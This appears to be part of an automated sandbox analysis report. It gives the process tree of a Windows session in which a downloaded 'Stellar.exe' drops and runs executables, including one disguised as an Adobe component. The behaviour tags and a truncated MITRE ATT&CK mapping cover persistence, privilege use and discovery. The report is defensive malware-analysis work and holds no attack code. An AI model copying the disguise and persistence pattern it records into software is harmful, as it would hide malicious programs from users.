    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4832 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4824 -prefMapHandle 4820 -prefsLen 29090 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0e6c6ddf-9e3e-4f4e-bb6c-107cfa585038} 3336 "\\.\pipe\gecko-crash-server-pipe.3336" utility
    3⤵
    - Checks processor information in registry
    PID:1584
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5300 -childID 3 -isForBrowser -prefsHandle 5292 -prefMapHandle 5252 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1328 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {08d36053-f280-4380-8515-2e3e30a0e093} 3336 "\\.\pipe\gecko-crash-server-pipe.3336" tab
    3⤵
    PID:2236
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5444 -childID 4 -isForBrowser -prefsHandle 5524 -prefMapHandle 5520 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1328 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {faf68b1c-9939-4ffc-82cb-3f8dbc632b65} 3336 "\\.\pipe\gecko-crash-server-pipe.3336" tab
    3⤵
    PID:768
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5712 -childID 5 -isForBrowser -prefsHandle 5632 -prefMapHandle 5636 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1328 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f4e88f5c-9210-46c1-8aa6-e503d3bd74d3} 3336 "\\.\pipe\gecko-crash-server-pipe.3336" tab
    3⤵
    PID:5756
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6048 -childID 6 -isForBrowser -prefsHandle 3048 -prefMapHandle 1408 -prefsLen 27998 -prefMapSize 244658 -jsInitHandle 1328 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {62217449-fcd2-43bd-81f5-3ffeddb6dfdf} 3336 "\\.\pipe\gecko-crash-server-pipe.3336" tab
    3⤵
    PID:4012
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5332 -childID 7 -isForBrowser -prefsHandle 3592 -prefMapHandle 5320 -prefsLen 27998 -prefMapSize 244658 -jsInitHandle 1328 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {91cd2287-773d-451b-942d-da0d2620d28e} 3336 "\\.\pipe\gecko-crash-server-pipe.3336" tab
    3⤵
    PID:952
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6568 -parentBuildID 20240401114208 -prefsHandle 6796 -prefMapHandle 6908 -prefsLen 30532 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {759703b0-892c-4966-a35a-7344c5c772a8} 3336 "\\.\pipe\gecko-crash-server-pipe.3336" rdd
    3⤵
    PID:4468
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6788 -parentBuildID 20240401114208 -sandboxingKind 1 -prefsHandle 6856 -prefMapHandle 6848 -prefsLen 30532 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8a5a9cbe-2007-4cc4-9837-cb761bc84e9c} 3336 "\\.\pipe\gecko-crash-server-pipe.3336" utility
    3⤵
    - Checks processor information in registry
    PID:5464
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6788 -childID 8 -isForBrowser -prefsHandle 7124 -prefMapHandle 7120 -prefsLen 27998 -prefMapSize 244658 -jsInitHandle 1328 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6b87921c-7eb8-44ea-860d-492d06e86a02} 3336 "\\.\pipe\gecko-crash-server-pipe.3336" tab
    3⤵
    PID:244
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7584 -childID 9 -isForBrowser -prefsHandle 7672 -prefMapHandle 7668 -prefsLen 28048 -prefMapSize 244658 -jsInitHandle 1328 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {77dc9eaf-e617-4887-bea6-909e59f119ea} 3336 "\\.\pipe\gecko-crash-server-pipe.3336" tab
    3⤵
    PID:4784
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7748 -childID 10 -isForBrowser -prefsHandle 7756 -prefMapHandle 7832 -prefsLen 28048 -prefMapSize 244658 -jsInitHandle 1328 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d0d733d5-925a-44c6-9179-7574e74b1294} 3336 "\\.\pipe\gecko-crash-server-pipe.3336" tab
    3⤵
    PID:3716

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1192

C:\Users\Admin\Downloads\Stellar.exe
"C:\Users\Admin\Downloads\Stellar.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:5832
- C:\ProgramData\Stellar Generator.exe
  "C:\ProgramData\Stellar Generator.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Enumerates system info in registry
  - Suspicious use of AdjustPrivilegeToken
  PID:3636
- C:\ProgramData\AdobeIPC.exe
  "C:\ProgramData\AdobeIPC.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4892

C:\ProgramData\AdobeIPC
C:\ProgramData\AdobeIPC
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4864

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x2c8 0x518
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6040

C:\ProgramData\AdobeIPC
C:\ProgramData\AdobeIPC
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4556

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

System Information Discovery